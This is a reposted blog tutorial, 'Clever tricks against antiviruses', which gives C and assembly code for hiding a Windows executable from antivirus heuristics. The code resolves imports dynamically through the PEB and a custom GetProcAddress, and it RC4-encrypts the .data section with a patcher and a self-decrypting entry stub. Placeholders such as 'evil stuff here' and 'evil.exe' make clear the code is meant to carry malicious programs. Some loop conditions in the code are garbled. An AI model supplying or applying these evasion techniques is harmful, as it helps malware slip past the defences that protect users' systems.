Trao đổi với tôi

http://www.buidao.com

4/26/10

[Virus] Clever tricks against antiviruses

I bet you have come across some software you’ve made which you didn’t want the AV to pick up. This article explains how to import from DLLs without having to call GetProcAddress, and also how to encrypt your data section. Anti-viruses rely heavily on their heuristics, if all other (signature) scans fail. The patterns they search for in your executable, are the functions being imported, and the order they are being called.

No imports!

Having no import table is relatively easy. There are however some functions I haven’t imported dynamically, but which are very normal in any application (libc functions).
The steps you need to do are:

  1. Get the kernel32 module base address. (kernel32.dll is always loaded when the process is started, and so is ntdll.dll)
  2. Make your own GetProcAddress
  3. Use it to find LoadLibrary’s address, so that you can load other DLLs
  4. Make the functions usable in a practical way, so that you don’t have to make a prototype for each of the functions that you will load

1. Get kernel32’s base address

The first step is easy. There are lots of methods out there to retrieve the kernel32 base address, whose list of supported platforms varies greatly. I will be retrieving the address using the PEB (the linked list of the modules’ initialization order). Code:

01void __declspec(naked) *kernel_addr() {
02 // Get kernel32 base address through PEB (initialization order)
03 __asm {
04 mov eax, fs:[0x30] // PEB address
05 mov eax, [eax+0x0c] // PEB->Ldr
06 mov eax, [eax+0x1c] // Ldr.InInitializationOrderModuleList (ntdll)
07 mov eax, [eax] // [ntdll].Flink (kernel32)
08 mov eax, [eax+0x08] // kernel32 base address
09 ret
10 }
11}

You can use whichever method you want, really, as long as the end result is the kernel32 base address.

2. Our own GetProcAddress

If you have ever had to deal with the PE format, you’d know that the exports have three main structures. These are the address table, the name table, and the ordinal table. The address table is simply just an array with RVAs to functions. There is one entry for every function exported. To get the real address, you add that RVA to the base address of the module.
The name table, is another array with RVA’s to the names of the functions. The names are just strings of characters terminated by a null byte.
The problem is, the names’ index doesn’t always correspond to the functions’ index. To retrieve the index, you use the ordinal table. The ordinal table is basically just an array with an index to the corresponding function. For example EAT[0] might be the function with the name ENT[42]. In this case, EOT[42] has the value of 0. So, the ordinal table is just another table, which maps a name to a function, using the name’s index to retrieve the function’s index.
Code:

01void *my_gpa(HMODULE modl, char *fname) {
02 unsigned long modb = (unsigned long)modl;
03 IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
04 IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
05 IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
06 unsigned int i;
07
08 for(i = 0; i <>NumberOfNames; i++) {
09 const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(void *)))+modb;
10
11 if(!strcmp(fname, nn)) {
12 unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
13 return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(void *))+modb);
14 }
15 }
16
17 return NULL;
18}

In our code, modb is the base address of the module. Using that, we make our way to the export directory (ied), which contains the RVAs to the three tables we need. They are ied->AddressOfNames, ied->AddressOfFunctions and ied->AddressOfNameOrdinals. There’s some pointer arithmetic going on there, along with some type casting. Our function works just like GetProcAddress. It takes a module base address, and a function name, and returns a function address. We iterate through each entry in the name table.
The string is retrieved through nn. (RVA of the table + base address + i*4)+base address – each entry in the table has the size of a word (32 bits = 4 bytes), so to get to the i’th entry, we add i*4. Once we’ve gotten to the i’th entry and dereferenced it, we add the base address to get the string’s address. If the name’s are the same, get the ordinal, the same way (except that one ordinal is the size of a short, 16 bits = 2 bytes). Then using the ordinal as an index, retrieve the address of the function and return it.

3. Getting LoadLibrary’s address

Easiest step. The code speaks for itself:

1HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);
2dyn_ll = my_gpa(kern, "LoadLibraryA");

4. Making it usable

You will probably want to load lots of functions, not just one or two. Writing the prototypes for all of them would be tedious. Let’s make an array of functions for each module we will load, then let’s also make a function to load the APIs into these arrays. I have used kernel32, user32, and winsock. Code:

01// don't forget to specify the correct calling convention
02
03char *fn_kernel[] = {
04 "GetEnvironmentVariableA", // 0
05 "GetModuleFileNameA", // 1
06 "GetTickCount", // 2
07 "GetLocalTime", // 3
08 "CreateThread", // 4
09 "SetThreadPriority", // 5
10};
11unsigned long (__stdcall *func_kernel[sizeof(fn_kernel)/sizeof(*fn_kernel)])();
12
13char *fn_user[] = {
14 "MessageBoxA", // 0
15 "GetForegroundWindow", // 1
16 "GetWindowTextA", // 2
17};
18unsigned long (__stdcall *func_user[sizeof(fn_user)/sizeof(*fn_user)])();
19
20char *fn_wsock[] = {
21 "WSAStartup", // 0
22 "send", // 1
23 "connect", // 2
24 "socket", // 3
25 "gethostbyname", // 4
26 "closesocket", // 5
27 "recv", // 6
28 "WSACleanup", // 7
29};
30unsigned long (WSAAPI *func_wsock[sizeof(fn_wsock)/sizeof(*fn_wsock)])();
31
32HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);
33
34void *my_gpa(HMODULE modl, char *fname) {
35 unsigned long modb = (unsigned long)modl;
36 IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)modb;
37 IMAGE_NT_HEADERS *nth = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
38 IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
39 unsigned int i;
40
41 for(i = 0; i <>NumberOfNames; i++) {
42 const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(unsigned long)))+modb;
43
44 if(!strcmp(fname, nn)) {
45 unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
46 return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(unsigned long))+modb);
47 }
48 }
49
50 return NULL;
51}
52
53void load_imports() {
54 HMODULE kern, user, wsock;
55 unsigned long i;
56
57 kern = kernel_addr();
58 dyn_ll = my_gpa(kern, "LoadLibraryA");
59 user = dyn_ll("user32.dll");
60 wsock = dyn_ll("ws2_32.dll");
61
62 for(i = 0; i < sizeof(fn_kernel)/sizeof(*fn_kernel); i++)
63 func_kernel[i] = my_gpa(kern, fn_kernel[i]);
64
65 for(i = 0; i < sizeof(fn_user)/sizeof(*fn_user); i++)
66 func_user[i] = my_gpa(user, fn_user[i]);
67
68 for(i = 0; i < sizeof(fn_wsock)/sizeof(*fn_wsock); i++)
69 func_wsock[i] = my_gpa(wsock, fn_wsock[i]);
70}
71
72int main(int argc, char *argv[]) {
73 WSADATA wsd;
74
75 load_imports();
76 // MessageBoxA
77 func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
78 func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
79 // evil stuff here
80 func_wsock[7](); // WSACleanup
81 return EXIT_SUCCESS;
82}

Simple. :)

Encrypting your data section

This method is really easy, and of course it’s not nearly as good as the average packer, but it keeps AVs away from your strings.
I have used the rc4 cipher, but any symmetric stream cipher would do. We need to encrypt it from another separate program, and have our program decrypt itself. Code for the encryption program:

01#include
02#include
03#include
04#include
05
06#define DATA ".data" // data section's name
07#define KEY "DqHAI5VN" // encryption key
08#define NEW 0x11c8 // new ep rva
09#define REP 0x5e4 // offset to patch with the old ep
10
11void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) {
12 unsigned long i, j;
13
14 for(i = 0; i <>
15 sbox[i] = (unsigned char)i;
16
17 for(j = i = 0; i <>
18 unsigned char tmp;
19
20 j = (j + sbox[i] + key[i % keylen]) & 0xff;
21 tmp = sbox[i];
22 sbox[i] = sbox[j];
23 sbox[j] = tmp;
24 }
25}
26
27void rc4(unsigned char sbox[0x100], unsigned char *src, unsigned char *dest, unsigned long len) {
28 unsigned long i, j;
29
30 i = j = 0;
31 while(len--) {
32 unsigned char tmp;
33
34 i = (i + 1) & 0xff;
35 j = (j + sbox[i]) & 0xff;
36
37 tmp = sbox[i];
38 sbox[i] = sbox[j];
39 sbox[j] = tmp;
40
41 *dest++ = *src++ ^ sbox[(sbox[i] + sbox[j]) % 0xff];
42 }
43}
44
45int main(int argc, char *argv) {
46 FILE *f = fopen("evil.exe", "r+b");
47 IMAGE_DOS_HEADER dosh;
48 IMAGE_NT_HEADERS nth;
49 IMAGE_SECTION_HEADER sech, dummy;
50
51 if(!f) return 1;
52 memset(&dummy, 0, sizeof(dummy));
53 fread(&dosh, 1, sizeof(dosh), f);
54 fseek(f, dosh.e_lfanew, SEEK_SET);
55 fread(&nth, 1, sizeof(nth), f);
56 fread(&sech, 1, sizeof(sech), f);
57 while(memcmp(&sech, &dummy, sizeof(dummy))) {
58 if(!strcmp(sech.Name, DATA)) {
59 unsigned char sbox[0x100], *rd = malloc(sech.SizeOfRawData);
60 DWORD ep, epaddr;
61
62 rc4_ksched(KEY, 8, sbox);
63 fseek(f, sech.PointerToRawData, SEEK_SET);
64 fread(rd, 1, sech.SizeOfRawData, f);
65 rc4(sbox, rd, rd, sech.SizeOfRawData);
66 fseek(f, sech.PointerToRawData, SEEK_SET);
67 fwrite(rd, 1, sech.SizeOfRawData, f);
68 free(rd);
69 epaddr = ((unsigned long)&nth.OptionalHeader.AddressOfEntryPoint-(unsigned long)&nth)+dosh.e_lfanew;
70 fseek(f, epaddr, SEEK_SET);
71 ep = NEW;
72 fwrite(&ep, 1, 4, f);
73 fseek(f, REP, SEEK_SET);
74 ep = nth.OptionalHeader.AddressOfEntryPoint+nth.OptionalHeader.ImageBase;
75 fwrite(&ep, 1, 4, f);
76 fclose(f);
77 return EXIT_SUCCESS;
78 }
79 fread(&sech, 1, sizeof(sech), f);
80 }
81
82 fclose(f);
83 return EXIT_FAILURE;
84}

What it does is that it searches for the data section, and when found, it reads it into memory, encrypts it, and writes it back.
But to be able to decrypt it we must have some piece of code in our own executable, which will decrypt the data section using our key, and then jump back to the old entry point. Code:

01void decrypt_data(unsigned long mod) {
02 char data[6];
03 IMAGE_DOS_HEADER *dosh = (IMAGE_DOS_HEADER *)mod;
04 IMAGE_SECTION_HEADER *sech = (IMAGE_SECTION_HEADER *)(mod+dosh->e_lfanew+sizeof(IMAGE_NT_HEADERS));
05 IMAGE_SECTION_HEADER dummy;
06
07 data[0] = '.';
08 data[1] = 'd';
09 data[2] = 'a';
10 data[3] = 't';
11 data[4] = 'a';
12 data[5] = 0;
13 memset(&dummy, 0, sizeof(dummy));
14 while(memcmp(sech, &dummy, sizeof(dummy))) {
15 if(!strcmp(sech->Name, data)) {
16 unsigned char sbox[0x100], key[9];
17
18 key[0] = 'D';
19 key[1] = 'q';
20 key[2] = 'H';
21 key[3] = 'A';
22 key[4] = 'I';
23 key[5] = '5';
24 key[6] = 'V';
25 key[7] = 'N';
26 key[8] = 0;
27 rc4_ksched(key, 8, sbox);
28 rc4(sbox, (unsigned char *)mod+sech->VirtualAddress, (unsigned char *)mod+sech->VirtualAddress, sech->SizeOfRawData);
29 return;
30 }
31 sech++;
32 }
33
34 exit(EXIT_FAILURE);
35}
36
37void __declspec(naked) *gba() {
38 __asm {
39 mov eax, fs:[0x30] // PEB address
40 mov eax, [eax+0x08] // PEB->BaseAddress
41 ret
42 }
43}
44
45void __declspec(naked) new_ep() {
46 if(*(unsigned long *)magic != 'x86!')
47 decrypt_data((unsigned long)gba());
48 __asm {
49 push 0x41414141 // placeholder
50 ret
51 }
52}

And in main:

01unsigned long nep_addr;
02
03int main(int argc, char *argv[]) {
04 WSADATA wsd;
05
06 nep_addr = (unsigned long)&new_ep;
07 load_imports();
08 // MessageBoxA
09 func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
10 func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
11 // evil stuff here
12 func_wsock[7](); // WSACleanup
13 return EXIT_SUCCESS;
14}

We reference new_ep, because otherwise the optimizing compiler would notice that it is not called anywhere and would not generate code for it.

Here you will have to get some offsets. First compile the executable, and disassemble it. Find the RVA of new_ep, and put it in the encryption program source code. Then find the offset of the placeholder for the old entry point. The instruction will look like push 0×41414141. Add one to the address of that instruction, subtract the image base from it, subtract the RVA of the .text section from it, add the offset of the .text section to it, and there you have your offset. Now put it in the encryption source, compile it, run it, and everything is ready :)

Well, that was everything.
If you found this article helpful or have a question, feel free to post a comment.

reflink: http://www.x-n2o.com/clever-tricks-against-antiviruses/